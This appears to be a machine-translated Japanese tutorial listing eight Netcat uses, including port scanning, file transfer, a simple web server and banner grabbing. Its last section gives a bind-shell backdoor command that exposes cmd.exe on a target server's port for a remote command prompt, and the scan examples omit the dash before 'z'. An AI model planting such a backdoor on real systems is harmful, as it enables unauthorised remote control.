8 Netcat (nc) コマンドと例
Netcat (または略して nc) は、Linux で TCP に関連するあらゆる操作を実行するために使用される、シンプルかつ強力なネットワーク コマンドライン ツールです。UDP またはUNIXドメインソケット。
Netcat は、ポート リスナー (受信接続用) として、ポート スキャン、 ポート リダイレクト に使用できます。また、リモート接続やその他多くのことを開くためにも使用できます。さらに、ターゲットサーバーにアクセスするためのバックドアとして使用することもできます。
この記事ではNetcatの使い方コマンドを例を挙げて解説します。
Linux に Netcat をインストールして使用する方法
システムにnetcat パッケージをインストールするには、Linux ディストリビューションのデフォルトのパッケージ マネージャーを使用します。
yum install nc [On CentOS/RHEL]
dnf install nc [On Fedora 22+ and RHEL 8]
sudo apt-get install Netcat [On Debian/Ubuntu]
netcat パッケージをインストールしたら、次の例でnetcat コマンドの使用方法を学習することができます。
ポートスキャン
Netcat はポート スキャンに使用できます。ターゲット マシン上でどのポートが開いていてサービスを実行しているかを知ることができます。単一または複数、または開いているポートの範囲をスキャンできます。
以下に例を示します。-z
オプションは、実際にデーモンにデータを送信せずに、リッスンしているデーモンを単にスキャンするように nc を設定します。 -v
オプションは冗長モードを有効にし、-w
は確立できない接続のタイムアウトを指定します。
nc -v -w 2 z 192.168.56.1 22 #scan a single port
OR
nc -v -w 2 z 192.168.56.1 22 80 #scan multiple ports
OR
nc -v -w 2 z 192.168.56.1 20-25 #scan range of ports
Linuxサーバー間でファイルを転送する
Netcat を使用すると、2 台の Linux コンピュータまたはサーバー間でファイルを転送できます。これらの両方のシステムには nc がインストールされている必要があります。
たとえば、あるコンピュータから別のコンピュータに ISO イメージ ファイルをコピーし、(pv ユーティリティを使用して) 転送の進行状況を監視するには、(ISO ファイルが存在する) 送信者/サーバー コンピュータで次のコマンドを実行します。
これにより、ポート 3000 でリスニング モード (-l
フラグ) で nc が実行されます。
tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso | pv | nc -l -p 3000 -q 5
そして、受信側/クライアント コンピューターで次のコマンドを実行してファイルを取得します。
nc 192.168.1.4 3000 | pv | tar -zxf -
コマンドラインチャットサーバーを作成する
Netcat を使用して、簡単なコマンドライン メッセージング サーバーを即座に作成することもできます。前の使用例と同様に、 チャット ルームに使用する両方のシステムにnc をインストールする必要があります。
1 つのシステムで次のコマンドを実行して、ポート 5000 でリッスンするチャット サーバーを作成します。
nc -l -vv -p 5000
他のシステムで次のコマンドを実行して、メッセージング サーバーが実行されているマシンへのチャット セッションを開始します。
nc 192.168.56.1 5000
基本的な Web サーバーを作成する
nc コマンドの -l
オプションを使用して、学習目的で静的 Web ファイルを提供する基本的な安全でない Web サーバーを作成します。これを実証するには、次のように .html
ファイルを作成します。
vim index.html
ファイルに次の HTML 行を追加します。
<html>
<head>
<title>Test Page</title>
</head>
<body>
<p>Serving this file using Netcat Basic HTTP server!</p>
</body>
</html>
変更をファイルに保存して終了します。
次に、次のコマンドを実行して、上記のファイルを HTTP 経由で提供します。これにより、HTTP サーバーが継続的に実行できるようになります。
while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat index.html; ) | nc -l -p 8080 ; done
次に、Web ブラウザを開き、次のアドレスを使用してコンテンツにアクセスできます。
http://localhost:8080
OR
http://SERVER_IP:8080
[Ctrl+C]
を押すと、Netcat HTTP サーバーを停止できることに注意してください。
Linux サーバー接続のトラブルシューティング
Netcat のもう 1 つの便利な使い方は、サーバー接続の問題のトラブルシューティングです。ここではNetcat を使用して、クライアントが発行したコマンドに応じてサーバーがどのようなデータを送信しているかを確認できます。
次のコマンドは、example.com のホームページを取得します。
printf "GET / HTTP/1.0\r\n\r\n" | nc text.example.com 80
上記のコマンドの出力には、Web サーバーから送信されたヘッダーが含まれており、トラブルシューティングの目的で使用できます。
ポート上で実行されているサービスを検索する
Netcat を使用してポート バナーを取得することもできます。この場合、特定のポートの背後でどのサービスが実行されているかがわかります。たとえば、特定のサーバーのポート 22 で実行されているサービスの種類を確認するには、次のコマンドを実行します (192.168.56.110 をターゲット サーバーの IP アドレスに置き換えます)。 -n
フラグは、DNS またはサービス ルックアップを無効にすることを意味します。
nc -v -n 192.168.56.110 80
ストリームソケットの作成
Netcat は、UNIX ドメイン ストリーム ソケットの作成もサポートしています。次のコマンドは、UNIX ドメイン ストリーム ソケットを作成してリッスンします。
nc -lU /var/tmp/mysocket &
ss -lpn | grep "/var/tmp/"
バックドアを作成する
バックドアとしてNetcatを実行することもできます。ただし、これにはさらなる作業が必要です。ターゲット サーバーにNetcat がインストールされている場合、それを使用してバックドアを作成し、リモート コマンド プロンプトを取得できます。
バックドアとして機能するには、Netcat がターゲット サーバー上の選択したポート (例: ポート 3001) をリッスンする必要があり、次のようにマシンからこのポートに接続できます。
これはリモート サーバーで実行することを目的としたコマンドで、-d
オプションは標準入力からの読み取りを無効にし、-e
はターゲット システムで実行するコマンドを指定します。
nc -L -p 3001 -d -e cmd.exe
最後になりますが、Netcat は、HTTP、SSH などのさまざまなサービス/プロトコルのプロキシとして使用できます。詳細については、マニュアル ページを参照してください。
man nc
この記事では、 実践的なNetcat コマンドの使用例を8つ解説しました。他に実際の使用例をご存知の場合は、以下のフィードバック フォームから共有してください。質問することもできます。